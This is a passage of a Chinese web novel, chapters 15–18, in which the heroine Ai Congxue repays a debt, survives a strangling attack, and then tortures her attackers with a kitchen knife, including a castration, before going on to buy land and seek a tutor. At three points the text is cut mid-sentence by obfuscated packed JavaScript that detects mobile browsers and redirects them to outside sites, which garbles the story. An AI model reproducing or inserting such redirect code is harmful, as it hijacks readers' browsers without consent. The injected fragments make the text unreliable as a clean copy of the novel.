“何事？”玄序头一偏，看向艾从雪，声音清朗如玉。 “京城可有女夫子？” 这话倒是难住了玄序，“城中男夫子倒有不少，女夫子倒是没怎么听说。” 家里面都忙着制糖，没空去照看小丫，艾从雪并不放心男夫子，女子又无法入学堂，闻言只得作罢。 “宫中倒是有女官。”玄序见艾从雪一脸失落，补充道。 “算了算了，那得花多少钱，说不定给钱都请不到。”艾从雪摆摆手，她什么地位人家什么地位她还是清楚的，虽说自己搭上玄序这个高枝，但可不代表自己就是高枝了。 玄序也没多说，以艾家现在的情况，确实有些异想天开。 而送别玄序后，艾从雪在把玩着那枚令牌，轻笑一声，唤来庄图南。 “图南，你说一个三面之缘，非亲非故，”艾从雪想到自己和万柳的关系纠正道：“哦不，有一点亲，会因为一点小事而送你可以代表身份的信物吗？” 庄图南坚定地摇摇头，“我不会。” “除非——”艾从雪看向庄图南，“有利可图。” 只是不知，这利，是什么了。 艾从雪看着令牌上的玄序二字，想到市井中关于这监察官的谣言——皇帝流落在外的私生子。 她唇角一勾，假设这是真的，那他母亲的来历可是值得探究，要知道，玄序被万老爷子捡到时可是在流民窟。 令牌被艾从雪向上抛起，在空中转了几圈。 从下至上，玄序扫视着监察司库中的卷宗。 顶部一绢纸从上至下飘落，玄序伸手接住。 “玄序大人，藏着很多秘密。”艾从雪一把抓住落下的令牌。 15. 还钱 “从雪来了！” 艾从雪还没进门就听见万柳的声音，接着就看到一双神气十足的眼睛，随后手上一暖。 万柳拉着艾从雪的手，颇为亲切。 “阿姐可是等了许久？” “那可不是，从早上就盼着你来，整得我都没心思干别的了。”万柳一甩手中帕子，“从雪当真是阿姐的心上人了。” 艾从雪唇角勾起，眉眼弯弯：“心上人可是带着聘礼来了。” 逗得万柳哈哈大笑，把糖亲自推到后院清点后，就拉着艾从雪进厢房。 “图南也坐，你这孩子，当真是拘谨，我还能吃了你不成。”看见庄图南木头似的在那杵着，站起身就把她按在座位上。 “来来来，从雪，这是这次的钱。”万柳那是一刻停不下来，安排好庄图南又掏出银两道。 “阿姐，今日那么高兴，可是有什么喜事？” 万柳眉毛一扬，捂着嘴笑道：“这么明显吗？我这性子真是藏不住事。” 万柳又坐下比划：“这不，你那赤糖让厨子弄出来许多菜品，前日刚上，这些天好多回头客呢。” “宝鼎烹小鲜，还是阿姐有能力。”艾从雪看着万柳一脸喜色，心情也变得不错。 “阿姐，可否知道京城有没有女夫子？” 玄序不知道，万柳是女子还开酒楼，说不定有些门路。 “女夫子？”万柳手上的茶杯悬在在空中。 杯子撞在桌子上发出一声轻响，茶水都溅到桌上，万柳随之开口：“应该是听说过，只是不知道如今还有没有。” 这下连庄图南的眼都瞪大了，聚精会神地听着万柳的话。 “听雨楼有个老主顾，身份不太清楚，每月初三都要来我这吃一顿。”万柳看着对面两个迫切的眼神，轻笑一声，也不再卖关子。 “我和她交谈时听她说过什么要让女子入学之类的话，我还当是胡话呢，京城书院不都是男子的地盘。” “初三？”艾从雪只注意到了这句话。 “看你急的，就是后日。”万柳笑着说道，“怎么想着找女夫子了？可是要习字？” 艾从雪摇摇头：“不是我，家里有小孩，想让她学学。” “这可不便宜，先前月来书院还没有免学费，当年小序进书院可是花了不少钱。”万柳想到那时还是忍不住唏嘘。 “眼下除了月来书院，入学都要不少钱。” “先问问情况，实在不行我和图南也能勉强教教。”艾从雪知道必然不会便宜，有眉目便好。 小丫才七岁，自己如今债款已经筹齐，之后借着玄序的势再扩大扩大糖坊，这些钱也不过是小钱。 “还有一事要求阿姐。”艾从雪从一包袱里掏出银子，“眼下急着用这些钱，钱庄距离太远，直接拿着实在是不方便，阿姐可否能把这些换成银票？” “这算什么求不求的，顺手的事。”万柳下楼去账台给艾从雪换了一张五十两银票。 艾从雪接过盈盈一笑：“那我先告辞了，初三再来阿姐这蹲人。” “当真是心急，都不和我多说会儿话。”万柳摇着头叹气，“你和小序一个两个的。” 艾从雪感觉万柳这样当真是把万老爷子的模样学了个十成十：“阿姐真不愧是阿爷孙女。” 万柳笑着推了艾从雪一把：“学会取笑阿姐了啊，小心我揍你。” “那我可不能挨揍。” 艾从雪出了听雨楼，带着庄图南在城里东转西转来到一户人家前。 一阵狂风吹过，艾从雪打了个寒颤，这霜降一过，刮的风都带着阴冷。 她“哐哐哐”大力地拍着门，生怕里面的人听不见。 “来了来了，催命呢，敲什么敲！”刘婆子扭着胯打开门，一见竟是艾从雪，“哟，太阳从西边出来了。” 艾从雪没理会刘婆子的阴阳怪气：“来给你还钱。” “那么快就齐了？”刘婆子绿豆眼瞪成了黄豆。 艾从雪拿出银票在她面前甩了甩，伸了伸手：“欠条拿来。” 刘婆子看见那银票，又见自己面前两人都挺瘦弱，眼里闪过一丝贪婪。 “你们先在这等着，我进屋去拿。”说完就“墩墩”地挪进屋内。 “快给老娘起来！”刘婆子一掀被子，把自己那日上三竿还在睡的男人喊起来。 “干什么？”男人不耐烦地睁开眼，看着面前肥得流油的妻子，眼里满是厌恶。 “赚钱的活来了。”刘婆子没理会男人的眼神，把被子叠好。 “什么钱？你去不就行了。”男人坐起身，靠着墙，一副老子最大的模样。 “我一个人能去还喊你？”刘婆子吼道。 男人白了刘婆子一眼，满不在乎道：“又没说不去，吼什么吼。” 艾从雪在门口瞅见竟是出来两个人，感觉有些不妙。 刘婆子倚着掉漆的门框，浑圆身躯堵住半边天光。她身后探出张干瘦的脸，浑浊眼珠黏在艾从雪身上。 而庄图南见这架势身体本能的做起了准备。 艾从雪按住她的手，笑着看向刘婆子身边的人：“这位就是大伯吧，和刘妈妈真是登对。” 刘婆子听见艾从雪说这话，鼻子哼一声：“怎的，想给我家男人做小？” 艾从雪心里翻了个白眼：“刘妈妈，这欠条呢？我可是带好债款过来了。” 那边瘦小的男人死死盯着艾从雪，公鸭嗓开口：“不若你自己抵了这钱。” 刘婆子狠狠瞪了艾从雪一眼，又对男人道：“抵什么抵，你当我死了？” 男人啐了一口：“下不出蛋的老母鸡。” 庄图南见状不对，微微侧身挡在艾从雪面前。 刘婆子听了男人的话一哽，走近艾从雪，“钱在哪呢？” “你先把契书拿出来。” 刘婆子装模作样地准备掏东西，趁艾从雪不注意直接扑了过来，别看她肥胖无比，却是异常灵活。 艾从雪早就有准备勉强躲过她的冲击，但仍被她抱住了双腿，庄图南立刻踢过去，却如同踢到棉花上。 瘦小男人从后面抱住庄图南，庄图南胳膊肘向后狠狠一撞，男人疼得直叫唤。 “拦住那小子。”刘婆子抱着艾从雪的腿二人一起摔在地上，还不忘提醒她男人一番。 艾从雪双腿被禁锢，只能上半身发力去抵抗刘婆子，刚刚摔倒时后面是个凸起的石头，直接磕到她后腰，现在还在隐隐作痛。 忍着疼痛，抓起旁边的砖头就往刘婆子身上砸，然而这刘婆子仿佛不知道痛一般。 刘婆子还等着她男人把庄图南制住后过来帮她，却不曾想庄图南擒住男人手臂把他抡翻在地，男人惨叫几声后竟是晕了过去。 刘婆子被砖头砸得浑身是血，本想着只抢钱的她一回头却见男人瘫在地上一动不动。她浑身猛地一颤，干瘪的嘴唇张了张，却发不出声音。 “啊！！！”她突然爆发出一声野兽般的尖嚎，充血的眼珠死死盯住艾从雪。 刘婆子发了狠，直接扒住艾从雪的衣服，“刺啦”一声，撕下一大块，竟是把这布条勒在艾从雪脖子上。 面目狰狞道：“你们这些自命清高的贱人，看我不搞死你。” 艾从雪被勒的面色青紫，喉咙发出溺水般的“咯咯”声，唾液不要钱似的淌出来。 她一只手死死拽着布条，将另一只手上的砖头狠狠砸在刘婆子后脑勺，刘婆子瞬间停了动作。 艾从雪躺在地上，大口喘着粗气，喉咙疼得厉害，庄图南过来后把她身上晕过去的刘婆子给踢到一旁，扶起艾从雪。 她只觉得脑子晕乎乎的，缺氧的感觉实在是不好受，喘气都感觉像刀割一样。 十几分钟后，艾从雪坐在地上，和庄图南面面相觑。 刘婆子还在旁边晕着，身上青一块紫一块，头上还渗出血，看着极为可怖。 庄图南刚刚看了一下，死不了。 一直在这门口也不是个事，毕竟但凡来个人都能发现这里经历了一场打斗。 二人便把那绑扫帚的绳子抽下来，绑住了男人与刘婆子，又抬着刘婆子进了屋里。 多亏她俩每天锻炼，不然的话怕是只能一人拽着一只手把她艰难拖进屋。 男人本就是装晕想着躲过庄图南的殴打，发觉自己被绑后再也装不下去。 “契书在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356919|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”艾从雪哑着嗓子道。 男人色厉内茬，见艾从雪问他，立马指着一抽屉道：“都在这，都在这，你们要找麻烦找她的事，我可什么都没干！” 当真是窝囊又可恶，庄图南看不过去又往他腿上踹了一脚。 男人被这一脚踢得满地打滚，“我要报官！我要报官！” “你要报官？”艾从雪嗤笑一声，“我还要报官呢。” 原先只以为刘婆子要抢钱不会下死手，谁知道跟个疯子似的见这窝囊废一倒，竟是要对自己下死手。 庄图南翻出契书交给艾从雪，艾从雪接过去直接就把那张纸给撕了。 拿着钱在男人面前转了一圈：“钱你们也别想要！” “欠债还钱天经地义！” 刘婆子还没彻底醒，听见艾从雪的话直接喊了出来。 “怎的？你也要报官？”艾从雪斜睨着看了刘婆子一眼。 刘婆子睁开眼见男人没死，面上一喜，又瞥见地上被撕成碎片的契书，气急败坏道：“等着我找我家大人！你们艾家别想活了！” “你家大人？”艾从雪看着面前夫妻二人的样子，起了逗弄的心思。 “我家孙大人可是前任监察官孙群的弟弟得罪了他，你们吃不了兜着走！” 艾从雪掏出一块物，低头拍了拍刘婆子的脸，冰凉的触感让刘婆子一激灵。 “知道这是什么吗？”艾从雪的声音从头顶传来。 刘婆子仰起头，虚张声势道：“我管你什么东西。” 那边男人眯着眼睛看了一会儿，叫道：“玄序？！” 刘婆子直接摊在了地上，被绑的双手杵在身后，颇为滑稽。 “挺识货啊。”艾从雪扯着虎皮做大旗，“你说说是前任监察官厉害，还是现任厉害？” “不过是个杂种，我们大人可说了，那位置不过是他阿兄故意让出来的。”刘婆子仍旧在垂死挣扎。 “故意让出来？”艾从雪嗤笑一声，“故意辞官？当真是有魄力。” 男人像条蛆一样拱到刘婆子身边，“你个死婆娘，那可是玄序！”又讨好着看向艾从雪，“大人，我可没干什么，都是她做的，大人放过我吧。” 刘婆子方才没听到男人这话，这会儿一听怒目圆瞪，“那么多年我辛辛苦苦伺候你，你就是这样对我的？！” “呸，谁看得上你。”男人根本不理会刘婆子，一直向艾从雪求情。 “我不就是不能生吗？那么多年我哪里对不住你。”刘婆子撕心裂肺地吼道，“我挣的钱不都给了你！” 艾从雪看着这狗咬狗都场面，心下唏嘘，若说这刘婆子，据她阿爹所说，之前还不是这肥头大耳的模样。 只是结婚多年，肚子里面没有任何动静，便各路求药，在艾家挣得钱怕都是用在吃药上了。 只是这不仅没吃好，还成了这模样。 艾从雪摇了摇头：“你们也别在这吵了，吵得我耳朵疼。” 她手上甩着令牌，“不行就去报官，我看这官是向着你还是向着我，杀人可是要偿命的。” 艾从雪俯身笑着，那模样落在刘婆子眼中倒像个索命的厉鬼。 她能傍上孙元，也不是个傻的，方才虚张声势见艾从雪不上套，立刻阿谀奉承道：“艾娘子方才是小的不知好歹，还请艾娘子高抬贵手。” “那你方才要勒死我那事怎么算。” “这……这……”刘婆子艰难跪下连连磕头，“艾娘子要杀要剐小的都无怨言，还请放了我家男人，都怪我生不了给他家绝后了。” 而刘婆子护着的男人，听见这话立刻精神起来，“大人，都是她惹得，我可什么都没干。” “要杀要剐都无怨言？”艾从雪瞥了一眼地上的刘婆子，“图南去灶屋拿把刀。” 刘婆子听见这话，知道自己命不久矣，强撑着呵斥男人：“你还不快走！” “别急。”艾从雪拦下男人，一脚把刚刚爬起来的人又踢在地上，“绳子都没解开呢。” “对对对，解绳子，解绳子。”男人急切地伸出手，让艾从雪解开。 艾从雪接过庄图南手中的菜刀，在他手腕上比划一下，手起刀落。 16. 孙群 “啊！！！”男人哀嚎不止，鲜血从他腿间流出浸染地面。 “你！”刘婆子见艾从雪动作，身体扭曲着尖叫出声。 艾从雪垂眼瞧着地上那截脏物，胃里忽然泛起一丝不适，很快又被压下去。 她不是第一次见血，可亲手砍人还是头一遭，但现在不是心软的时候。 艾从雪冷笑一声，满不在乎的甩了甩刀上的血，似是怕这肮脏的东西沾到自己身上，“我帮你断了这念想，应该谢谢我才对。” 又把银票递给庄图南，嘱咐道：“去找大夫，就说家里人准备进宫当太监，买些动刀后用的药。” “然后，”艾从雪拿着菜刀一步步走近刘婆子，脚步声落在刘婆子耳朵里如同惊雷，震得她连连向后缩。 冰凉的刀面贴着刘婆子的脸，血腥味直冲大脑，她吓得牙齿不断打架，还是强撑着道：“不是说好的杀我不动他吗。” “哦？”艾从雪慢条斯理地在刘婆子层层叠叠的脸上蹭干净血迹，那模样像极了索命的厉鬼，“我可不记得。” 菜刀反出刺眼的光，刺得刘婆子心里发颤。 “孙元为什么要针对艾家？” 艾从雪一只脚踩上板凳，欣赏完光洁无比的菜刀后，目光钉在刘婆子身上。 “这……”刘婆子眼神躲闪。 艾从雪唇角勾起一抹笑容，温柔地轻声道：“不知道还是不想回答？我数十下，不说的话……” 她直接把在地上疼得打滚的男人薅起来，抓住他的手按在桌子上，“那这手指头我可就一个一个砍了。” “快说啊死婆娘！”男人此刻恨不得自己冲上去掰开刘婆子的嘴。 “十、九、八……” 刘婆子还在犹豫，眉毛皱得连眼睛都不知道藏哪去了，口水不断咽下，却仍是没说出口。 “五、四……”艾从雪的声音宛若荒凉宅院嘎吱作响的破门，每一个字都令男人的恐慌成倍增长。 “刘桃！小桃！” 这一声让刘婆子颤了一下，她很久没听过这个称呼了。 “二、一！” 艾从雪撇了撇嘴，刀光一闪，男人喉咙里挤出半声呜咽，便只剩抽搐的闷哼。 “我说，我说。” “早这样不就好了，也免得你男人受这皮肉之苦。” 艾从雪把男人推到一边，旋身坐上板凳，低头瞅着地上的刘婆子，下巴微扬示意。 “我身份低，知道的不多。” 白光闪过，菜刀又对准男人。 “孙元他阿兄要找个借口辞官，艾家是个无权无势的富商，这才捏造你爹贿赂监察司。我只知道这些，还是孙元醉酒时说的。”刘婆子眼睛一闭，一口气全说了出来。 找借口辞官？监察官可是权力滔天，怎的还要找借口辞官？艾家可真是沦为权力的玩物。 艾从雪黑白分明的眸子看着刘婆子，语气冰冷，“就这些？” 刘婆子忙不迭地点头，生怕晚了那菜刀再胡乱砍下。 “孙元他阿兄叫什么？现在在哪?” “艾娘子别为难老奴了，关于这事我是一点也不知道，我不过是一个狗腿子，用完就扔。”刘婆子一把鼻涕一把泪地拍着地面，泣不成声道。 艾从雪一脚又踢到躺着的男人身上。 “孙群，叫孙群，在哪我是真不知道。” 艾从雪眉梢微扬，还真诈出来了，刀尖挑起刘婆子下巴，“我也不难为你。” 说完，刀把一转，刘婆子手上的绳子落在地上沾染了几分血迹。 “给他止止血，死了可就不好办了。” 这边刘婆子颤颤巍巍给男人包扎，男人面目狰狞着叫嚣要杀了艾从雪，见到艾从雪手中带血的刀又噤了声。 木门被推开，暮色顺着人影洒进来，倒是给居于正中的艾从雪蒙上一层光辉。 “喏，药。”庄图南把药递给刘婆子。 艾从雪临走前又警告刘婆子：“经此一役，这事算是了了，要是再闹腾……” 她摇了摇手上的令牌，“玄大人可不是好惹的。” 紧接着“扑通”一声，艾从雪把那把刀投进院子里的水井。 踏出门槛的瞬间，冷风迎面吹来，艾从雪这才发现自己的手在抖，刀早就扔了，可指缝里似乎还残留着黏腻的触感。她深吸一口气，不能在这儿倒下。 强撑着走了几步，直到拐过巷角，确认四周无人，才终于卸了力，整个人栽向庄图南。 腰间的疼痛和喉咙的勒痕真像钝刀子割肉一般一下下地折磨她，后背衣服早就被冷汗浸湿。 庄图南慌乱地扶住艾从雪，紧紧抱抓着她的胳膊，生怕她倒下去，“怎么了？” 艾从雪扶着庄图南的肩膀，“医馆。” 她眼下真是一个字都不想多说，嗓子生疼，腰间钝痛，方才的情景在她脑海横冲直撞。 这几步路走的分外艰辛，庄图南直接蹲下把艾从雪背起来，速度可是比先前快不少。 医馆的大夫什么情况没见过，见到来人，只管默默医治，其他的一概不打听。 “这位娘子是要见效快的还是循序渐进慢慢治疗。”大夫看了看艾从雪的腰伤，捋着胡子说道。 “快的。”艾从雪如今可是事业上升期，一点耽误不得。 大夫闻言掏出一根比与手掌差不多长的银针。 艾从雪趴在床上，斜睨着瞥见后感觉命不久矣，那针怕是能把她扎穿。 “经我这一扎，娘子这腰伤保准明日就能好上八分。” 那大夫拿着针快准狠地扎进艾从雪后腰，酸痛感直击天灵盖。 艾从雪感觉她没被刘婆子弄死，快要被这大夫给治死了。 不知过去多久，腰上的酸痛消失，连着钝痛也减轻许多。 “神医。”艾从雪给了这大夫极高的评价。 引得大夫那胡子都要翘上天，好心提醒，“可别忘了每日服治嗓子的药，否则嗓子要坏的。” “图南你要看看吗？”艾从雪想起庄图南的嗓子询问道。 “治不好，拖太久了。”大夫连脉都没把直接道。 回家时，病患艾从雪和庄图南仗着如今有存款，也是奢侈一把租了个马车。 马车摇摇晃晃地行驶在石板路上，艾从雪靠着车壁，腰上的伤已经没那么疼了，可嗓子眼里还泛着血腥味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377694|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄图南忽道：“刘婆子背后之人若报复，凭令牌可挡，但其他手段……” “这要看玄序的诚意了。” 窗外景物不断后退，直到在一处门前停下。 “艾娘子回来了！”小丫在院中坐着个小板凳在那背书，一抬头就见艾从雪回来了。 小丫天真烂漫的笑脸让艾从雪心头一软，可随即又绷紧了神经。不能让这孩子看见自己脖子上的勒痕，更不能让爹娘担心。 她揉了揉小丫的脑袋，随口考了她几个字，趁小丫低头思索时，迅速闪进屋里。 关上门，艾从雪才长长吐出一口气。铜镜里的人影发髻散乱、脸色苍白，脖子还有道淤青。 真有点像个疯子。 她翻出件高领的衣服换上，细细理了理衣襟，确保万无一失。 “没事的，”她对着镜子扯出明媚的笑容，“不过是些皮外伤。” 出了门，和庄图南一起进了堂屋。 今天艾家没制糖，林晚和许巧兰在屋里聊天。 “债款已经还了。”艾从雪进屋就抛出这句话，连躺床上休息的艾升荣都起了身。 “雪儿你嗓子这是？”艾升荣看着自家女儿担心地问道。 艾从雪方才只想着挡住疤痕，却忘记这破嗓子的事，一时间说不上来话。 “你这孩子，真是的，到底怎么回事？”林晚从艾从雪一进屋就急得团团转，“图南你说，这是怎么回事！” “路上，艾娘子不知道碰到什么过敏了。”庄图南煞有其事地说出这句话，连耳朵都没红一下。 林晚狐疑地看着艾从雪，而艾从雪头点得像拨浪鼓似的。 “过敏？碰到什么东西了？”林晚又追问道。 艾从雪眼观鼻鼻观心，怎么也解释不出来，她面对它人谎话连篇面不改色，对上林晚却是换了一副模样。 林晚深深看了艾从雪一眼，眼里满是心疼，也不再多问：“罢了，没出事就好。” 艾从雪见这一关过了，松了一口气，幸好自己领子够长，不然阿爹阿娘又要担心。 她顺势说出自己的规划，“过些天咱盘一处地，多招些人制糖。” 买地，招人，建流水线，这钱不就哗哗流进来。 “雪儿是个有主意的，都听你的。”艾升荣当甩手掌柜那么多天，如今十分相信自己女儿，没有任何异议。 林晚有些犹豫，“咱家钱还够吗？” “阿娘放心，钱的事我有数。”艾从雪拍拍胸脯保证道。 如此，这买地的事算是定下来了。 夜色渐深，艾从雪一个人在井边反复搓洗手掌，可鲜血的黏腻如附骨之疽，怎么也洗不下来。 只能面色僵硬的进屋躺回床上，腰间的疼痛已经减轻不少，脑子里却乱糟糟的，零碎的线索像散落的珠子，怎么也串不到一起。 她摸出枕下的令牌，冰凉的触感盖住黏腻，精神也跟着放松下来。 今天这事必然瞒不住玄序，先按兵不动，看看他怎么处理，自己再做下一步打算，眼下借他的势赶快做好扩大艾氏糖坊才是最重要的。 她要紧紧抓住一切机遇向上爬。 17. 李迎秋 艾从雪白日里去买地时，特意往刘婆子家里那片晃悠，恰有人讨论。 “刘桃那家里的听说废了？” “废不废的，不早就断子绝孙了吗？” “我怎么听说她要走？” “怎么个事？那么多年刘桃为了这家伏低做小，怎么说要走？” 艾从雪脸上糊了点灰，弯着腰，低着头：“这几位姐姐，刘桃怎么了？” 几人把目光转向她，反复打量几下，却是没说话。 艾从雪掏出几块碎银子，几人面上的警惕瞬间消失殆尽，亲热地拉着她聊起来，仿佛是亲姐妹。 “听说是得罪了人。” “今天还在收拾东西呢，我问了一嘴，还被她骂了一顿。” “她那样，准是得罪人了，平时横虽横，可是不敢这样的。” “妹子，这刘桃可不是个善茬，眼下搬走肯定是她上头的人保不住她了。” 艾从雪琢磨着这小道消息，看来玄序出手了。 打探完消息，万分潇洒，艾从雪甚至感觉自己嗓子都不哑了。 “城郊那庄子多少钱？”行吧，依旧吱吱啦啦漏风。 “一口价，三十五两，童叟无欺。”镶着金牙的中年人咧嘴一笑道。 “你那庄子我可是看了，地方不大，位置偏僻，鸟想拉屎都找不到地方，最多三十两。”艾从雪摇摇头，一脸嫌弃的数落。 “三十？”金牙伸长脖子，粗短的手指在空中乱飞，“我那庄子可好得很，你不买有的是人买。” 艾从雪眯着眼，她可不信，观望了许久，金牙这没来一个人，说不定她是第一个来问价格的。 “最多三十，多了没有。你要答应，我立马给你现银。”艾从雪迈开腿作势要走，“不答应，我可是走了。” “行了，行了。”金牙拦住艾从雪，“我卖给你都亏本，就当积个善缘。” “老板大气，下次买地我还来您这。”艾从雪露出一口白牙，与金牙相谈甚欢。 当晚，月隐星繁，艾从雪在院中练新买的枪，枪尖划破夜风，艾从雪旋身收势时，忽觉后颈一凉。 她手腕微沉，枪杆顺势斜指屋檐：“玄序大人专程来看我练枪？” 瓦片轻响，玄序飞身而下，落到艾从雪面前，带起的风吹动发丝，艾从雪鼻翼煽动：“大人真是喜欢这艾草，民女闻了那么多回都要醉了。” “用来助眠。” “嗯？”艾从雪一怔，没想到玄序竟然会跟他解释，明知故问道：“不知大人今日过来可是有事？” “刘婆子离京了。”玄序声如泉水叮咚，倒是显得她像游在上面的鸭子。 “哦。多谢大人善后。”艾从雪眼睛骨碌转了一圈，在这声线对比下有些不忿。 玄序垂眸扫了她一眼，目光停留在被衣领盖住的脖颈：“你早知道孙元和孙群有关系？” “不知道。”艾从雪无所谓道，“刘婆子要弄死我，我不得多从她嘴里抠出点消息，给自己增点分量。” 玄序见艾从雪如此理直气壮，眉眼松弛下来，语气带着赞赏：“孙群和我一直在调查的人有关系。” “那我可真是误打误撞帮了玄序大人。”艾从雪唇角一勾，那刘婆子说孙群自愿辞官，必有内情，她不过是顺势逼问。 “那人先前盯上你了，”玄序眼睛盯着艾从雪。 艾从雪只是点点头：“监察司不养闲人，民女如今可是和玄大人一条船上的人。” 艾从雪掏出令牌，令牌还泛着血腥味，在夜里泛着冷光：“哎呀，先前吓唬完刘婆子，忘了洗了，玄序大人见谅。” 看着艾从雪矫揉造作的样子，玄序唇角微勾。 艾从雪一直在观察玄序的表情，见他勾唇，戏谑道：“民女真是第一次见大人笑，这一笑怕是连仙女也比不上大人的容貌。” 闻言，玄序的笑僵在了脸上，又恢复了平日板着脸的样子。 “大人耳朵红了。”艾从雪轻飘飘抛出一句话。 玄序深吸一口气，眼神飘忽。 “逗你的，天这么黑谁看得见。” 一来一回，艾从雪玩笑似的调侃，撞上玄序，当真让他无措。 于是他沉声道：“既知我有意拉你入局，仍淌进这浑水，艾娘子定有底牌。” “我的底牌是……”艾从雪话说一半确是不再说。 突然逼近，身上的糖香冲开艾草气息，玄序后撤半步，后腰抵上榨蔗机的把手。 榨蔗机被吵醒，叫唤一声。 但玄序耳间只有艾从雪的声音在回荡——“玄序大人您。” 接着女子退后几步，扬声道：“大人即已知道自己想知道的，还请快些回去，民女要练武。” 艾从雪盯着玄序那落荒而逃的样子，笑声飘散在夜空。 这玄序不派手下，自己亲自过来，实在是可疑，如此她才试探一番。 现在看来，这监察官大人也不像传闻中那么铁面无私。 …… 十月初三 经过两日休息，艾从雪腰伤已经大好，只是嗓子也恢复的差不多。 独身一人去了听雨楼。 万柳见艾从雪过来，知道她要干什么，直接道：“你这来得正好，那贵人先前刚上楼。” 艾从雪嘴角上扬，语调轻快：“当真是来得早不如来得巧。” “我先上楼替你问一下。”说完万柳端着听雨楼的新品就去了楼上。 艾从雪则倚着柜子观察着大堂里的景象，人来人往，络绎不绝。 最近温度骤降，听雨楼新上的糖霜雪梨倒是成了他们的新宠，不少客人都点了份尝鲜。 万柳在楼上给她使了个眼色。 艾从雪心领神会，上楼轻敲门扉。 “进。” “娘子好。”艾从雪俯身行了一礼。 “坐吧。”女子也没为难她，开门见山道，“你想让孩子习字，何不直接请男夫子。” 艾从雪温和一笑，出言解释：“家中事务繁忙，也比不上大户人家仆人众多，夫子单独上课，总是有些不放心的……” “那为何要让女子习字？自古以来，习字都是男人的事。”女子端起茶盏，轻吹浮在上方的茶叶。 “若说是为了读圣贤书那太虚伪，从雪说不出这话，不过是家中孩子想学，便让她学。” 女子端杯子的手悬停在半空，许久才落到桌面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387412|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “想学便学？那如果她喜欢绣花舞蹈这些女子本就该学的东西呢？”女子神色不似之前那般随意，眼里多了分审视，语气不自觉得有些咄咄逼人。 “没有该不该学，只有喜不喜欢，如果是真心喜欢，那就学，如果是别人都那样做我也要做，那不学。” “那孩子都读过什么书？” 艾从雪眼前一亮，“没读过什么书，启蒙还是她阿娘求着我教她的。我也不懂太多，只能教教她识字，如今不到半月千字文已经学了小半。” “是个好孩子。”女子点点头，“只是，那女学还没正式成立，怕是无法教她。” 听到这，艾从雪放下的心再次被揪起。 却又听一句话传来：“虽说如此，但已经物色到几个夫子。” 艾从雪抬起头，侧耳倾听，生怕自己漏下一丁点消息。 “成王府李迎秋，户部尚书之女邓乐，皇后远房侄女燕问夏，都是些闺阁里就十分有名气的娘子。” 然而这些人，对眼下的艾从雪来说，怕是有些太遥远。 艾从雪揉搓着衣摆，迟疑道：“这……以民女的情况怕是接触不到，多谢娘子解惑，民女叨扰了。” “这两日我休沐，明日你带着孩子到成王府，就说是大娘子的客人。” 艾从雪瞳孔紧缩，声音卡在喉咙挤不出来，自己眼前的人竟然是成王府的李迎秋？ 这世界当真是小。 直到走出厢房她还有些浑浑噩噩。 “怎么样？”万柳见她出来立刻迎上来询问。 “明日去成王府。” “成王府的人？”万柳有些惊异，“成王府只有一嫡女李迎秋，这厢房之人是李迎秋？” 万柳颇感诧异，要知道李迎秋闺阁之中就十分出名，后面听说进宫跟着皇后当了女官。 真没想到每月初三来自己店铺的竟是李迎秋。 这也怨不得万柳，李迎秋身体不好，没怎么出过门，一及笄就进了宫，除了这每月休沐回来一下万柳这，其余的时候是没怎么出门的。 和她那弟弟相比真是落在下风。 “应当是。”艾从雪还没缓过神。 “那你快些回家。”万柳想着艾从雪此刻肯定急着回去说这件好事。 随即又想到什么，“这几日糖霜卖得不错，还能充当赤糖用，下月分量可能制出四十斤？” 万柳压低声音继续道：“最近总有人打听糖霜制法，连宫里的采买都来问过，那李迎秋也问过一嘴……你小心些。” 艾从雪点头答应，一回到家，就急着找小丫，想告诉她这个好消息。 拿着启蒙书反复诵读的小丫，听见这激动得要蹦起来，一抬手书差点给撕了，又紧忙抚平，这才开口道：“谢谢艾娘子，谢谢艾娘子！” 艾从雪微笑着揉了揉小丫的头：“小丫明日去夫子那要努力表现！今日先让我考考你好不好？” “好！！”小丫立刻坐直身体等待艾从雪的提问。 若说这小丫，那确实是个读书的好苗子，艾从雪不过浅显地教了几日，就已经学会大半，还能举一反三。 也正因此，艾从雪并不想埋没她，尽力去找夫子。 18. 试探 成王府高门大户，艾从雪带着小丫往这一站倒显得有些寒酸。 小丫拽了拽艾从雪的袖子，轻声道：“艾娘子，夫子是在这里吗？” “不用害怕。”艾从雪握住小丫的手，牵着她走到门口小厮面前。 “这位大哥，我们来找李娘子。” 小厮打量她俩一眼：“李娘子的客人？” 艾从雪跟着小厮一踏进门，就见一红衣男子在那咋咋呼呼，看见她，好像想起什么，指着她道：“你，站住！” 